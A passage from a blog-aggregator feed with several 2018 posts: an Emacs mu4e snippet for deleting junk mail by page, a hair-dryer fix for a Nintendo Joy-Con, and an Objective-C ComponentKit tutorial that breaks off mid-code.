&lt;p&gt;In the following post we will start implementing our own blockchain in &lt;strong&gt;Go&lt;/strong&gt;, as well as going more in detail into the characteristics of &lt;strong&gt;block mining&lt;/strong&gt;.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Sat, 10 Nov 2018 17:30:00 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2018/11/10/demistifying-blockchain-part-1/</guid></item><item><title>Faster junk mail deletion with mu4e</title><link>https://xenodium.com/faster-junk-mail-deletion-with-mu4e</link><description>&lt;p&gt;It's been roughly 5 months since &lt;a href="http://xenodium.com/#trying-out-mu4e-and-offlineimap"&gt;my mu4e email migration&lt;/a&gt;. Happy with my choice. &lt;a href="http://www.djcbsoftware.nl/code/mu/mu4e.html"&gt;Mu4e&lt;/a&gt; is awesome.&lt;/p&gt;
&lt;p&gt;I now have 4 email accounts managed by mu4e, and unfortunately receiving lots of junk mail.&lt;/p&gt;
&lt;p&gt;I regularly peek at junk folders for false positives and delete junk email permanently. I've been wanting a quick way to glance at junk mail and easily delete page by page.&lt;/p&gt;
&lt;p&gt;Deleting emails page by page is not supported in mu4e by default. &lt;em&gt;Fortunately, this is Emacs and we can change that™.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There's a handy package by Roland Walker called &lt;a href="http://github.com/rolandwalker/window-end-visible"&gt;window-end-visible&lt;/a&gt;. We can use it to select mu4e emails by page and subsequently glue it all together to enable deleting emails by page.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(require 'mu4e)
(require 'window-end-visible)

(defun ar/mu4e-delete-page ()
  (interactive)
  (set-mark (window-start))
  (goto-char (window-end-visible))
  (activate-mark)
  (mu4e-headers-mark-for-trash)
  (mu4e-mark-execute-all t)
  (deactivate-mark)
  (goto-char (window-start)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I'm a &lt;a href="https://github.com/jwiegley/use-package"&gt;use-package&lt;/a&gt; fan, so I use it to bind the &amp;quot;v&amp;quot; key to delete &lt;em&gt;visible emails (by page&lt;/em&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package mu4e
  :bind (:map mu4e-headers-mode-map
         (&amp;quot;v&amp;quot; . ar/mu4e-delete-page))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/faster-junk-mail-deletion-with-mu4e/delete-junk.gif" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 10 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/faster-junk-mail-deletion-with-mu4e</guid></item><item><title>You can fix lumpy Joy-Con using hair dryer</title><link>https://muffinman.io/blog/fix-lumpy-joy-con-using-hair-dryer/</link><description>&lt;article class="article"&gt;&lt;p&gt;I love my
&lt;span class="sidenote__text" tabindex="0"&gt;Nintendo Switch&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;I have a huge draft about Switch, and how it have put the fun back in gaming for me. I hope to publish it at some point.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
Unfortunately, tonight I noticed that one of my Joy-Cons has two weird lumps on it.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="Lumpy Nintendo Switch Joy-Con" height="1011" src="./joycon.jpg" width="800" /&gt;&lt;figcaption class="image__figcaption"&gt;(This is the image from the internet, not mine.)&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;On multiple forum threads, people suggested using hair dryer to fix it. But nobody did explain how. I tried it, and in couple of minutes I managed to get it, and here is how I did it.&lt;/p&gt;
&lt;p&gt;There are tiny inserts in the cap, and they need to go in to the tiny holes on the joystick. I had three of them fall out. To fix it, just heat it with the hair dryer (I did it for about ten seconds), carefully adjust one insert and rub it a little bit until it falls in. Repeat for each insert.&lt;/p&gt;
&lt;p&gt;It was much easier than I thought it would be (before heating it felt impossible). Hopefully they won&amp;#x27;t fall again, but I will probably get thumb grips to be sure.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sat, 10 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/fix-lumpy-joy-con-using-hair-dryer/</guid></item><item><title>Experimenting with ComponentKit</title><link>https://whackylabs.com/ios/2018/11/09/hello-component-kit/</link><description>&lt;p&gt;It’s a nice Friday afternoon and I just realized that I’ve never used ComponentKit.&lt;/p&gt;

&lt;p&gt;One of the reasons that got me really interested in the project is that, I’ve been looking around alternatives to UIKit. Not that I’ve anything against UIKit, but I seen how things out of hands with UIKit pretty soon. And ComponentKit was on my radar for quite some time.&lt;/p&gt;

&lt;p&gt;Also, I’m a huge fan of C++, but so far the only ObjectiveC++ I’ve written was just to glue ObjectiveC with C++, like I would start with an &lt;code class="language-plaintext highlighter-rouge"&gt;AppEngine.cpp&lt;/code&gt; and forward all the call from the &lt;code class="language-plaintext highlighter-rouge"&gt;AppDelegate&lt;/code&gt; to the &lt;code class="language-plaintext highlighter-rouge"&gt;AppEngine&lt;/code&gt;. ComponentKit on the other hand, seems to be making full use of C++ and ObjectiveC in the same space. Which sounds weird enough for me to at least try this thing out.&lt;/p&gt;

&lt;h2 id="building-an-app-with-componentkit"&gt;Building an App with ComponentKit&lt;/h2&gt;

&lt;p&gt;I will be building the PhotoApp that I try to build every now and then but this time with ComponentKit. What the PhotoApp does is that it starts with a loading screen while we fetch a list of photo and when we are done we render them on screen. Next, whenever a user taps on the cell, we display the details screen with the photo in more details and some text.&lt;/p&gt;

&lt;p&gt;This is pretty simple app that touches many parts of most of the apps out there. Okay, let’s go!&lt;/p&gt;

&lt;h3 id="set-up"&gt;Set up&lt;/h3&gt;

&lt;p&gt;The first step is to checkout the &lt;a href="https://github.com/facebook/componentkit"&gt;repository from github&lt;/a&gt;
The recommended way is to use Carthage. It’s been a long time since I’ve used Carthage, personally I like to manage all my dependencies manually, which is know is not a popular opinion these days. So, let’s give Carthage a shot.&lt;/p&gt;

&lt;p&gt;Following the instructions from &lt;a href="https://github.com/Carthage/Carthage#quick-start"&gt;https://github.com/Carthage/Carthage#quick-start&lt;/a&gt;, this is now my &lt;code class="language-plaintext highlighter-rouge"&gt;Cartfie&lt;/code&gt; looks like:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;github "facebook/ComponentKit" ~&amp;gt; 0.24
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, I can run ` carthage update`… and it does not work&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;*** Fetching ComponentKit
*** Checking out ComponentKit at "0.24"
*** xcodebuild output can be found in /var/folders/wv/x1yzd_351bbbwgyps66xgytw0000gn/T/carthage-xcodebuild.NGYTMn.log
*** Building scheme "ComponentKit" in ComponentKit.xcodeproj
Build Failed
	Task failed with exit code 65:
	/usr/bin/xcrun xcodebuild -project /Users/sid/Work/Personal/PhotoApp/component-kit/Carthage/Checkouts/ComponentKit/ComponentKit.xcodeproj -scheme ComponentKit -configuration Release -derivedDataPath /Users/sid/Library/Caches/org.carthage.CarthageKit/DerivedData/9.2_9C40b/ComponentKit/0.24 -sdk iphoneos ONLY_ACTIVE_ARCH=NO CODE_SIGNING_REQUIRED=NO CODE_SIGN_IDENTITY= CARTHAGE=YES archive -archivePath /var/folders/wv/x1yzd_351bbbwgyps66xgytw0000gn/T/ComponentKit SKIP_INSTALL=YES GCC_INSTRUMENT_PROGRAM_FLOW_ARCS=NO CLANG_ENABLE_CODE_COVERAGE=NO STRIP_INSTALLED_PRODUCT=NO (launched in /Users/sid/Work/Personal/PhotoApp/component-kit/Carthage/Checkouts/ComponentKit)

This usually indicates that project itself failed to compile. Please check the xcodebuild log for more details: /var/folders/wv/x1yzd_351bbbwgyps66xgytw0000gn/T/carthage-xcodebuild.NGYTMn.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Life is too short to read a log message. Time for plan B; Manually building the workspace.&lt;/p&gt;

&lt;p&gt;The very first thing one notices after the setup is that how much time it takes for the ComponentKit to compile. I’ve been using Swift mostly at work for past 4 years now, and there compile time is unacceptable, and that is why whenever I’m working on something on a Friday evening, I pick something blazing fast, which ObjectiveC is, but ObjectiveC++ is not.&lt;/p&gt;

&lt;p&gt;Whenever I’m working on an ObjC project, the very first thing I do is to toggle the &lt;code class="language-plaintext highlighter-rouge"&gt;TREAT_WARNINGS_AS_ERRORS&lt;/code&gt; flag to &lt;code class="language-plaintext highlighter-rouge"&gt;YES&lt;/code&gt;. And I wish every other project does the same, specially a project as widely used as ComponentKit.&lt;/p&gt;

&lt;h3 id="getting-started"&gt;Getting started&lt;/h3&gt;

&lt;p&gt;Okay all code set up and ready to go, the first challenge is to figure out where to start. To be honest, I’ve no clue, so I’ll looking at the sample WildeGuess project. Like, &lt;code class="language-plaintext highlighter-rouge"&gt;WildeGuessCollectionViewController&lt;/code&gt; I’m also planning to start out with a &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt;, so that is a good thing.&lt;/p&gt;

&lt;p&gt;The most important piece of the system when working with a &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt; based layout is &lt;code class="language-plaintext highlighter-rouge"&gt;CKCollectionViewDataSource&lt;/code&gt;. This object is who you talk to whenever the data updates. 
Probably the first piece of information we want to inform the data source is the number of section we intend to display. Unlike traditional &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionViewDataSource&lt;/code&gt;, we do not provide a integer value, rather, we provide the change set.&lt;/p&gt;

&lt;p&gt;For our case, we already know at the load time that there is going to be one section, which contains the loading view. We need to provide that information as a change set, as the data source starts with zero sections.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;CKDataSourceChangeset&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;initialData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[[&lt;/span&gt;&lt;span class="n"&gt;CKDataSourceChangesetBuilder&lt;/span&gt; &lt;span class="nf"&gt;transactionalComponentDataSourceChangeset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                           &lt;span class="nl"&gt;withInsertedSections:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSIndexSet&lt;/span&gt; &lt;span class="nf"&gt;indexSetWithIndex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="nf"&gt;build&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="nf"&gt;applyChangeset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;initialData&lt;/span&gt; &lt;span class="nf"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;CKUpdateModeAsynchronous&lt;/span&gt; &lt;span class="n"&gt;userInfo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before I get my hands dirty with building components, I would also like to plug in the other thing data source might be interested in. And that is a event callback for whenever a cell starts or ends displaying is invoked we want to update our data source with this information. In our case this is the &lt;code class="language-plaintext highlighter-rouge"&gt;willDisplayCell&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;didEndDisplayingCell&lt;/code&gt; of &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionViewDelegate&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;collectionView&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UICollectionView&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;collectionView&lt;/span&gt;
       &lt;span class="nf"&gt;willDisplayCell&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UICollectionViewCell&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;cell&lt;/span&gt;
    &lt;span class="nf"&gt;forItemAtIndexPath&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;indexPath&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="nf"&gt;announceWillDisplayCell&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;collectionView&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UICollectionView&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;collectionView&lt;/span&gt;
  &lt;span class="nf"&gt;didEndDisplayingCell&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UICollectionViewCell&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;cell&lt;/span&gt;
    &lt;span class="nf"&gt;forItemAtIndexPath&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;indexPath&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="nf"&gt;announceDidEndDisplayingCell&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;cell&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With our basic data source set up, we can now focus on providing the first view. Usually when we start our layout with a &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt; the first thing that comes to mind it to have a bunch of &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionViewCell&lt;/code&gt; and register them and later whenever UIKit needs to render them on screen, we paint them. With ComponentKit things are different, we probably only need to create a &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt; and leave the rest to ComponentKit. The starting point of the entire component system seems to be this &lt;code class="language-plaintext highlighter-rouge"&gt;CKComponentProvider&lt;/code&gt; which is a protocol with a class method, and the context is provided as an argument. Neat.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;componentForModel&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;model&lt;/span&gt; &lt;span class="nf"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, my first attempt would be insert a &lt;code class="language-plaintext highlighter-rouge"&gt;NSNull&lt;/code&gt; and render an &lt;code class="language-plaintext highlighter-rouge"&gt;PHLoadingComponent&lt;/code&gt; for that model&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;NSDictionary&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;NSObject&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;loadingItem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;@{[&lt;/span&gt;&lt;span class="n"&gt;NSIndexPath&lt;/span&gt; &lt;span class="nf"&gt;indexPathForRow&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="nf"&gt;inSection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSNull&lt;/span&gt; &lt;span class="nf"&gt;null&lt;/span&gt;&lt;span class="p"&gt;]};&lt;/span&gt;
    &lt;span class="n"&gt;CKDataSourceChangeset&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;loadingData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[[&lt;/span&gt;&lt;span class="n"&gt;CKDataSourceChangesetBuilder&lt;/span&gt; &lt;span class="nf"&gt;transactionalComponentDataSourceChangeset&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;withInsertedItems&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;loadingItem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;build&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="nf"&gt;applyChangeset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;loadingData&lt;/span&gt; &lt;span class="nf"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;CKUpdateModeAsynchronous&lt;/span&gt; &lt;span class="n"&gt;userInfo&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="creating-first-component"&gt;Creating first component&lt;/h3&gt;

&lt;p&gt;Creating a component does not seems as trivial if you have been writing apps for some time. I know I’m not creating a view from scratch because that is the job of ComponentKit, I probably have to only provide the data for the view. But what data? Let’s start with a prebaked component &lt;code class="language-plaintext highlighter-rouge"&gt;CKLabelComponent&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;PHLoadingComponent&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;CKCompositeComponent&lt;/span&gt;
&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instancetype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;newWithTintColor&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UIColor&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;PHLoadingComponent&lt;/span&gt;

&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instancetype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;newWithTintColor&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;UIColor&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;color&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;newWithComponent&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;CKLabelComponent&lt;/span&gt;
                                    &lt;span class="nl"&gt;newWithLabelAttributes:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                                        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Loading"&lt;/span&gt;
                                    &lt;span class="err"&gt;}&lt;/span&gt;
                                    &lt;span class="nl"&gt;viewAttributes:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                                        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;@selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setBackgroundColor&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
                                        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;@selector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setUserInteractionEnabled&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;@NO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
                                    &lt;span class="p"&gt;}&lt;/span&gt;
                                    &lt;span class="nl"&gt;size:&lt;/span&gt;&lt;span class="p"&gt;{}]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="First component" src="https://i.imgur.com/IojqLjG.png" /&gt;&lt;/p&gt;

&lt;p&gt;Not bad! So, by simply providing the text data I can get a view. How about making it full screen and replacing the text with a &lt;code class="language-plaintext highlighter-rouge"&gt;UIActivityIndicatorView&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To be honest the &lt;a href="https://componentkit.org/appledoc/html/index.html"&gt;official documentation&lt;/a&gt; is outdated as I can not find anything about everything, for example &lt;code class="language-plaintext highlighter-rouge"&gt;CKFlexboxComponent&lt;/code&gt; is not there. So the only way out is to actually check the source code, which is probably even better than looking up the docs.&lt;/p&gt;

&lt;p&gt;From what I’ve figured out, the way one creates components for views is by providing the &lt;code class="language-plaintext highlighter-rouge"&gt;Class&lt;/code&gt; type and a bunch of selectors to be invoked. Imagine it this way, if you were to create a custom view with a &lt;code class="language-plaintext highlighter-rouge"&gt;UIActivityIndicatorView&lt;/code&gt;, you might do it like:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UIActivityIndicatorView&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;makeSpinnerWithColor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UIColor&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;color&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;UIActivityIndicatorView&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;spinner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;UIActivityIndicatorView&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;initWithFrame&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;UIScreen&lt;/span&gt; &lt;span class="nf"&gt;mainScreen&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;spinner&lt;/span&gt; &lt;span class="nf"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;spinner&lt;/span&gt; &lt;span class="nf"&gt;setActivityIndicatorViewStyle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;UIActivityIndicatorViewStyleWhiteLarge&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;spinner&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With ComponentKit, you might do it like:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;makeSpinnerWithColor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UIColor&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;color&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt;
            &lt;span class="nl"&gt;newWithView:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;UIActivityIndicatorView&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                &lt;span class="p"&gt;{&lt;/span&gt;
